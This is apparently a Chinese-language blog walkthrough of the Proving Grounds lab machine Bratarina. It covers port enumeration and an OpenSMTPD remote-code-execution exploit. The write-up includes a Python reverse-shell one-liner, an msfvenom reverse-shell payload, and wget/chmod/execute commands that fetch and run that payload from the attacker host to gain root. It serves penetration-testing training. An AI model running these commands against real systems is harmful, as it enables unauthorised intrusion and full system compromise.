Proving Grounds Practice : Bratarina Walkthrough

 Proving Grounds Practice : Bratarina Walkthrough


Foothole (立足點 ) :

  • 25 Port 服務 OpenSMTPD 使用 Exploit RCE 拿到 Reverse Shell

PE ( 提權 ) :

  • 不用 PE

注意事項 :

  • 指令有限制特殊字元與符號限制,要使用 " 與 \ 來避開


Rustscan,└─$ rustscan -a 192.168.156.71 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.156.71 | tee snmp                          



nmap



enum4linux,└─$ enum4linux -a 192.168.156.71 | tee enum4linux



發現 backups 資料夾



使用者發現三個帳號 neil、_smtpd、_smtpq 



資料夾中有一個 passwd.bak 檔案,將檔案抓回來到 kali,測試寫入 test.txt 失敗



cat passwd.bak 發現 3 個帳號,有兩個很特別看來是 SMTP 服務使用帳號

帳號 neil、_smtpd、_smtpq 


hydra 測試 neil 跑了一段時間後沒有結果


whatweb,└─$ whatweb -v http://192.168.156.71              



80 /



80 /robots.txt



searchsploit FlaskBB 沒有結果



gobuster 80 /



80 /index.html



gobuster /static

幾個繼續查找與逛了一番後沒有發現



searchsploit OpenSMTPD 發現一個 RCE



測試後發現 & 字元無效



改用 python 目的是避掉 & 字元,相關路徑加上 " 與 \ 做特殊字源處理

└─$ python3 47984.py 192.168.156.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.45.179\",25));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'



Reverse Shell 進來了,直接就是 root,僅有 proof.txt 沒有 local.txt



補充說明 :

Walkthrough 使用 msfvenom 建立 payload、上傳 payload、執行 payload 拿 Reverse Shell

建立 elf 檔案 payload : └─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.179 LPORT=445 -f elf -b '\x00\x0d\x0a' -o shell



上傳 payload : └─$ python3 47984.py 192.168.121.71 25 'wget 192.168.45.179/offsec/pg/71/shell -O /tmp/shell'        




確定靶機來抓取 Payload



修改 shell 為可執行,
└─$ python3 47984.py 192.168.121.71 25 'chmod +x /tmp/shell'



執行 payload : └─$ python3 47984.py 192.168.121.71 25 '/tmp/shell' 



Reverse Shell 進來了,確定是 Root 獲取 flag




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)